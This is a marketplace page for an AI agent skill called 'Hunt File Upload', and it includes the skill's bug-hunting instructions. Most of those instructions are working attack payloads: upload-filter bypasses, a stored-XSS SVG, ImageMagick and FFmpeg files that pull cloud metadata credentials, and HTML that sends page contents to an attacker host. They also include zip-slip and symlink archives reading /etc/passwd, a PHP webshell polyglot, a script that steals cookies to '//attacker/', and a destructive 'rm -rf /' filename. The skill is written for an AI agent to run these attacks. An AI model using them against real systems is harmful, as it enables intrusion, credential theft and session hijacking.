Hunt File Upload logo

Hunt File Upload

CommunityPopular
elementalsouls
hunt-file-upload

Hunt file upload bugs — RCE via webshell, XSS via SVG/HTML, SSRF via XXE in DOCX, path traversal via filename. Bypass tables (10 techniques): double extension (shell.php.jpg if server checks last ext only), magic bytes spoofing (PNG header on PHP), null byte (shell.php.jpg), case (PHP, .Php, .pHP), .htaccess upload to enable execution, SVG with <script>, HTML/SVG XSS, DOCX with embedded XXE, ZIP slip (../../../etc/passwd in archive), polyglot files. Detection: any /upload, /avatar, /profile-picture, /attachment, /import endpoint. Test: upload PHP/JSP/ASPX shells, request via direct URL, check response. Validate: actual code execution (whoami output) for RCE; reflected XSS in profile-photo URL. Use when testing file upload features, avatar/attachment endpoints, import/export functions, XML/DOCX/ZIP processors. Real paid examples.

Overview

Publisherelementalsouls
RepositoryClaude-BugHunter
Skill namehunt-file-upload
Stars
4.5K
Forks
678
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by elementalsouls on GitHub. Read the source before you install it.

Installation

Install the Hunt File Upload AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p .claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-file-upload .claude/skills/hunt-file-upload
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Hunt File Upload in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Hunt File Upload on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Hunt File Upload is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

9. FILE UPLOAD

Content-Type Bypass

filename=shell.php, Content-Type: image/jpeg  → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5   → extension variants

File Upload Bypass Techniques (10 techniques)

AttackHowPrevention
Extension bypassshell.php.jpg, shell.pHp, shell.php5Allowlist + extract final extension
Null byteshell.php%00.jpgSanitize null bytes
Double extensionshell.jpg.phpOnly allow single extension
MIME spoofContent-Type: image/jpeg with .php bodyValidate magic bytes, not MIME header
Magic bytes prefixPrepend GIF89a; to PHP codeParse whole file, not just header
PolyglotValid as JPEG and PHPProcess as image lib, reject if invalid
SVG JavaScript<svg onload="...">Sanitize SVG or disallow entirely
XXE in DOCXMalicious XML in Office ZIPDisable external entities
ZIP slip../../../etc/passwd in archiveValidate extracted paths
Filename injection; rm -rf / in filenameSanitize + use UUID names

Magic Bytes Reference

TypeHex
JPEGFF D8 FF
PNG89 50 4E 47 0D 0A 1A 0A
GIF47 49 46 38
PDF25 50 44 46
ZIP/DOCX/XLSX50 4B 03 04

Stored XSS via SVG

xml
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

ImageMagick / FFmpeg Exploitation

ImageMagick SSRF / File Read (ImageTragick family + modern variants)

bash
# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF

# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF

# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC

FFmpeg SSRF via HLS Playlist

bash
# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF

# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF

# Test: upload .m3u8 or video file to any video processing endpoint

Headless Chrome / PDF Generator SSRF

HTML → PDF Converter Attacks

bash
# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources

# SSRF via CSS import
PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'

# SSRF via HTML iframe
PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'

# Local file read
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'

# JavaScript execution (if sandbox not enforced)
PAYLOAD='<html><body><script>
fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
</script></body></html>'

# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
curl -s -X POST "https://$TARGET/api/generate-pdf" \
  -H "Content-Type: application/json" \
  -d "{\"html\": \"$PAYLOAD\"}"

Archive Extraction Attacks (Zip Slip / Symlink)

bash
# Zip Slip — path traversal via archive filenames
pip3 install evilarc
python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip

# Symlink attack — archive contains symlink to sensitive file
mkdir -p /tmp/sym_attack
ln -s /etc/passwd /tmp/sym_attack/innocent.txt
zip -ry /tmp/symlink.zip /tmp/sym_attack/

# TAR symlink attack
tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/

# Test: upload to any /import, /extract, /unzip endpoint
curl -s -X POST "https://$TARGET/api/import" \
  -F "file=@/tmp/zipslip.zip"

Related Skills & Chains

  • hunt-rce — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot GIF89a;<?php system($_GET['c']);?> bypasses magic-byte check + .phtml extension bypasses allowlist → GET /uploads/shell.phtml?c=id → RCE; or PHP phar:// upload to a sink calling file_exists() on the attacker-controlled path → PHP object deserialization → RCE.
  • hunt-xxe — Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose [Content_Types].xml or word/document.xml includes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil /etc/passwd or web.config via the document parser.
  • hunt-xss — SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with <script>fetch('//attacker/?'+document.cookie)</script> → victim views attachment at app.target.com/uploads/x.svg (same origin, not sandboxed) → cookie theft → ATO via session hijack.
  • hunt-ssrf — Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with <image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> or ffmpeg concat:http://internal/... → SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms.
  • security-arsenal — Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants, .phtml/.phar/.php5/.pht, .htaccess upload to re-enable handlers, web.config upload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators.
  • triage-validation — Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actual whoami round-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.

Frequently asked questions

What does the Hunt File Upload AI skill do?

Hunt file upload bugs — RCE via webshell, XSS via SVG/HTML, SSRF via XXE in DOCX, path traversal via filename. Bypass tables (10 techniques): double extension (shell.php.jpg if server checks last ext only), magic bytes spoofing (PNG header on PHP), null byte (shell.php.jpg), case (PHP, .Php, .pHP), .htaccess upload to enable execution, SVG with <script>, HTML/SVG XSS, DOCX with embedded XXE, ZIP slip (../../../etc/passwd in archive), polyglot files. Detection: any /upload, /avatar, /profile-picture, /attachment, /import endpoint. Test: upload PHP/JSP/ASPX shells, request via direct URL, che...

Why use Hunt File Upload on TypingMind?

Because you install it once and use it with any model. Hunt File Upload is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Hunt File Upload in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-file-upload. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Hunt File Upload?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Hunt File Upload?

As many as you like. As long as a model supports skills, you can use Hunt File Upload with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Hunt File Upload AI skill free?

Yes. It is published on GitHub by elementalsouls under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇